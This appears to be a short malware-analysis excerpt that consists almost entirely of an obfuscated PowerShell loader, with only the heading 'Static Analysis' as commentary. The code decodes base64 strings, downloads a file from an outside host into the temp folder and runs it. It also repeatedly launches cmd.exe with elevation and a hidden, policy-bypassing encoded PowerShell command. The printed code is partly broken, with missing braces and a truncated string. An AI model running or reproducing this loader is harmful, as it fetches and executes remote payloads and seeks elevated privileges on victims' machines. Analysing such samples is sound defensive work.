Static Analysis

$movgikw=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("R0VBY3dCbEFEWUFOQUJUQUhRQWNnQnBBRzRBWndBb0FDSUFUQUF5QUZvQWNBQmlBRWNBVlFCMkFHTUFTQUJOQUhZQVRRQlVBR01BZVFCT0FGUUFZd0ExQUU4QVJ3Qk5BREFBVFFCWEFGSUFhd0JPQUdvQVFnQnFBRTRBVndCSkFEVUFUd0JIQUZFQU5RQlBBRVFBUlFBd0FFNEFSQUJTQUd3QVRRQkhBRkVBTkFCWkFHb0FVUUIxQUdFQWJnQkNBRzRBSWdBcEFDa0FPd0FLQUNRQWJBQnJBR1FBYlFCeEFIQUFkZ0JvQUQwQVd3QlRBSGtBY3dCMEFHVUFiUUF1QUZRQVpRQjRBSFFBTGdCRkFHNEFZd0J2QUdRQWFRQnVBR2NBWFFBNkFEb0FRUUJUQUVNQVNRQkpBQzRBUndCbEFIUUFVd0IwQUhJQWFRQnVBR2NBS0FCYkFGTUFlUUJ6QUhRQVpRQnRBQzRBUXdCdkFHNEFkZ0JsQUhJQWRBQmRBRG9BT2dCR0FISUFid0J0QUVJQVlRQnpBR1VBTmdBMEFGTUFkQUJ5QUdrQWJnQm5BQ2dBSWdCaEFFZ0FVZ0F3QUdNQVNBQk5BRFlBVEFCNUFEa0FkQUJsQUZjQVVnQm9BR1FBUndCR0FEVUFaUUJIQURVQWJ3QmxBRzBBVGdCNkFFd0FiZ0JTQUd3QVdRQXlBR2NBUFFBaUFDa0FLUUE3QUFvQUpBQjFBSElBYVFBZ0FEMEFJQUFvQUNRQWJBQnJBR1FBYlFCeEFIQUFkZ0JvQUNBQUt3QWdBQ1FBYVFCdUFHa0FZZ0JpQUdnQUtRQTdBQW9BSkFCakFHOEFkUUJ1QUhRQUlBQTlBQ0FBTVFBd0FEc0FDZ0IzQUdnQWFRQnNBR1VBS0FBa0FHTUFid0IxQUc0QWRBQWdBQzBBWndCMEF

$syntqz=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("L2Mgc3RhcnQgL21pbiAiIiBwb3dlcnNoZWxsLmV4ZSAtV2luZG93U3R5bGUgaGlkZGVuICAtTm9Mb2dvIC1Ob1Byb2ZpbGUgIC1FeGVjdXRpb25Qb2xpY3kgYnlwYXNzIC1FbmNvZGVkQ29tbWFuZCBKQUJwQUc0QWFRQmlBR0lBYUFBOUFGc0FVd0I1QUhNQWRBQmxBRzBBTGdCVUFHVUFlQUIwQUM0QVJRQnVBR01BYndCa0FHa0FiZ0JuQUYwQU9nQTZBRUVBVXdCREFFa0FTUUF1QUVjQVpRQjBBRk1BZEFCeUFHa0FiZ0JuQUNnQVd3QlRBSGtBY3dCMEFHVUFiUUF1QUVNQWJ3QnVBSFlBWlFCeUFIUUFYUUE2QURvQVJnQnlBRzhBYlFCQ0E="));

$dobtnb=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("NzZkMDQ0YzdmNDQ1YzViMGQzYjI3NTI2MTg0NjUucGRm"));

$iwupxulwh=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("M2M0"));

$fileName = ($iwupxulwh + $dobtnb)

$tempFolder = [System.IO.Path]::GetTempPath();

$filePath = Join-Path -Path $tempFolder -ChildPath $fileName

$fileUrl = "http://mydatayxnhzcs.tech/file/docs/$fileName";

$scriptBlock = {

param (

[string]$filePath,

[string]$fileUrl

if (-not (Test-Path -Path $filePath)) {

Invoke-WebRequest -Uri $fileUrl -OutFile $filePath

Start-Process -FilePath $filePath

$job = Start-Job -ScriptBlock $scriptBlock -ArgumentList $filePath, $fileUrl

if ($job.State -eq 'Running') {

} else {

while($true)

Start-Process 'cmd.exe' -Verb runas -ArgumentList (($syntqz + $movgikw));

Wait-Job $job

Remove-Job $job